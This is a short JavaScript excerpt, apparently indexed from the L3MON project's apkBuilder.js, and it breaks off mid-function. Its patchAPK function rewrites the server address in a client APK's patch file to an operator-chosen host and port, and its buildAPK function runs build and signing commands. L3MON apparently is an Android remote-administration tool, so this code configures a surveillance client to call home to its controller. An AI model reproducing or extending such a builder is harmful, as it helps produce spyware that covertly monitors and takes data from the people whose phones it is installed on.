INNER CODE UNIT · JavaScript
patchAPK
efxtv/L3MON · includes/apkBuilder.js:30
function patchAPK(URI, PORT, cb) {
if (PORT < 25565) {
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
if (err) return cb('File Patch Error - READ')
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
if (err) return cb('File Patch Error - WRITE')
else return cb(false)
});
});
}
}
function buildAPK(cb) {
javaversion(function (err, version) {
if (!err) cp.exec(CONST.buildCommand, (error, stdout, stderr) => {
if (error) return cb('Build Command Failed - ' + error.message);
else cp.exec(CONST.signCommand, (error, stdout, stderr) => {